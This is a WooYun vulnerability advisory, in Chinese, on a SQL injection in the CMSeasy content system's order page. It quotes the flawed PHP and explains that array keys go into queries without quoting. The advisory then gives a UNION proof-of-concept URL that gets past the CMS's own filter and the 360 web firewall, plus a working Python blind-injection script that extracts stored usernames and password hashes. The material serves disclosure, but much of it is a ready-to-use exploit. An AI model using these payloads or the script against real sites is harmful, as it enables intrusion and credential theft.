当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2014-75590

漏洞标题: CMSeasy SQL注入漏洞第二发(bypass自身与360waf)

相关厂商: cmseasy

漏洞作者: magerx

提交时间: 2014-09-09 19:08

公开时间: 2014-12-08 19:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧 php源码分析

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商已经确认,细节仅向厂商公开
2014-09-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-08: 细节向公众公开

简要描述:

sql injection#继续支持wooyun通用型

详细说明:

lib/default/archive_act.php,782行

code 区域
</ function orders_action() {
$this->view->aid = trim(front::get('aid'));
if (front::post('submit')) {
$this->orders = new orders();
$row = $this->orders->getrow("","adddate DESC");
//var_dump(time());
if($row['adddate'] && time() - $row['adddate'] <= intval(config::get('order_time'))){
alerterror('操作频繁,请稍后再试');
return;
}
if (front::$post['telphone'] == '') {
alerterror('联系电话为必填!');
return;
}
front::$post['mid'] = $this->view->user['userid'] ? $this->view->user['userid'] : 0;
front::$post['adddate'] = time();
front::$post['ip'] = front::ip();
if (isset(front::$post['aid'])) {
$aidarr = front::$post['aid'];
unset(front::$post['aid']);
foreach ($aidarr as $val) {
front::$post['aid'].=$val . ',';
front::$post['pnums'].=front::$post['thisnum'][$val] . ',';
}
} else {
front::$post['aid'] = $this->view->aid;
}
if (!isset(front::$post['logisticsid']))
front::$post['logisticsid'] = 0;
front::$post['oid'] = date('YmdHis') . '-' . front::$post['logisticsid'] . '-' . front::$post['mid'] . '-' . front::$post['payname'];

$insert = $this->orders->rec_insert(front::$post);
if ($insert < 1) {
front::flash($this->tname . lang('添加失败!'));
} else {
if (config::get('sms_on') && config::get('sms_order_on')) {
sendMsg(front::$post['telphone'], config::get('sms_order'));
}
if (config::get('sms_on') && config::get('sms_order_admin_on') && $mobile = config::get('site_mobile')) {
sendMsg($mobile, '网站在' . date('Y-m-d H:i:s') . '有新订单了');
//echo 11;
}
$user = $this->view->user;
if(config::get('email_order_send_cust') && $user['e_mail']){
$title = "您在".config::get('sitename')."的订单".front::get('oid')."已提交";
$this->sendmail($user['e_mail'], $title, $title);
}
if(config::get('email_order_send_admin') && config::get('email')){
$title = '网站在' . date('Y-m-d H:i:s') . '有新订单了';
$this->sendmail(config::get('email'), $title, $title);
}
if (front::$post['payname'] && front::$post['payname'] != 'nopay') {

echo '<script type="text/javascript">alert("' . lang('orderssuccess') . ' ' . lang('现在转入支付页面') . '");window.location.href="' . url('archive/payorders/oid/' . front::$post['oid'], true) . '";</script>';
}
echo '<script type="text/javascript">alert("' . lang('orderssuccess') . '");window.location.href="' . url('archive/orders/oid/' . front::$post['oid'], true) . '";</script>';
}
} elseif (front::get('oid')) {
preg_match_all("/-(.*)-(.*)-(.*)/isu", front::get('oid'), $oidout);
$this->view->paytype = $oidout[3][0];
/*非会员不可查看
if($oidout[2][0] != $this->view->user['userid']){
alertinfo('查看订单失败', url::create('index/index'));
}
*/
$where = array();
$where['oid'] = front::get('oid');
$this->view->orders = orders::getInstance()->getrow($where);
$this->view->statusnum = $data['status'] = $this->view->orders['status'];
switch ($data['status']) {
case 1:
$data['status'] = lang('完成');
break;
case 2:
$data['status'] = lang('处理中');
break;
case 3:
$data['status'] = lang('已发货');
break;
case 4:
$data['status'] = lang('客户已付款,待审核');
break;
case 5:
$data['status'] = lang('已核实客户支付');
break;
default:
$data['status'] = lang('新订单');
break;
}
$this->view->orders['status'] = $data['status'];
if ($this->view->paytype) {
$this->view->gotopaygateway = '<a href="' . url('archive/payorders/oid/' . front::get('oid'), true) . '">进入支付页面</a>';
}
//var_dump($this->view->user);var_dump($_SESSION);exit();

$this->out('message/orderssuccess.html');
} elseif (front::get('aid')) {
$this->view->archive = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);
$this->view->paylist = pay::getInstance()->getrows('', 50);
$this->view->logisticslist = logistics::getInstance()->getrows('', 50);
$prices = getPrices($this->view->archive['attr2']);
$this->view->archive['attr2'] = $prices['price'];
if (!is_array($this->view->archive))
$this->out('message/error.html');
if ($this->view->archive['checked'] < 1)
exit(lang('未审核!'));
if (!rank::arcget(front::get('aid'), $this->view->usergroupid)) {
$this->out('message/error.html');
}code>
定位到878行的elseif
<code>elseif (front::get('aid')) {
$this->view->archiv878e = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);





一般cmseasy对于上面这种情况都会做一次check_type,唯独这里没有做这个处理,继续跟踪getrow方法:

code 区域
function getrow($condition,$order='1 desc',$cols='*') {
$this->condition($condition);
return $this->rec_select_one($condition,'*',$order);
}





继续condition,

code 区域
function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
//$value=str_replace("'","\'",$value);
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
else if (is_numeric($condition)) {
$this->getFields();
$condition="`$this->primary_key`='$condition'";
}else if(true === $condition){
$condition = 'true';
}else{
//echo $condition." __ ";
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}
}



可以看到最后的$condition中,$value是被单引号括起,而$key却没有,所以如果我们传入一个数组,那么key就可以注入了。

接下来就是绕过自身和360的waf,不细说,直接看poc和exp:

漏洞证明:

poc:当然是可以直接union的

code 区域
http://localhost/cmseasy/uploads/index.php?case=archive&act=orders&aid[typeid`%3D0%20UNION SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from dual%23]=1



这样360是不会拦截的- -!

cms1.jpg



exp:

偷懒直接拿上次的改的。。

code 区域
import urllib2
import re

def inject(payload):
url = 'http://localhost/cmseasy/uploads/index.php?case=archive&act=orders&aid[typeid`%3D1%20'
print url+payload
req = urllib2.Request(url+payload)
response = urllib2.urlopen(req)
content = response.read()
return content

wordlist = '123456789:;Abcdefghijklmnopqrstuvwxyz{'

def user():
result = ""
for i in range(1,40):
for num in range(len(wordlist)):
keyword = ord(wordlist[num])
content = inject("and%20ord(mid((select/**/concat(username,0x3a,password)%20from%20cmseasy_user),{0},1))<{1}%23]=1".format(i,keyword))
match = re.search('payment',content)
if match:
print str(i)+'===========>'+chr(keyword-1)
result = result+chr(keyword-1)
break
print 'current_user:===========>'+result

user()



cms2.jpg

修复方案:

加强。

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-10 08:09

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-16 03:57 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    @magerx 可以union,洞主为啥要盲注。

登录后才能发表评论,请先 登录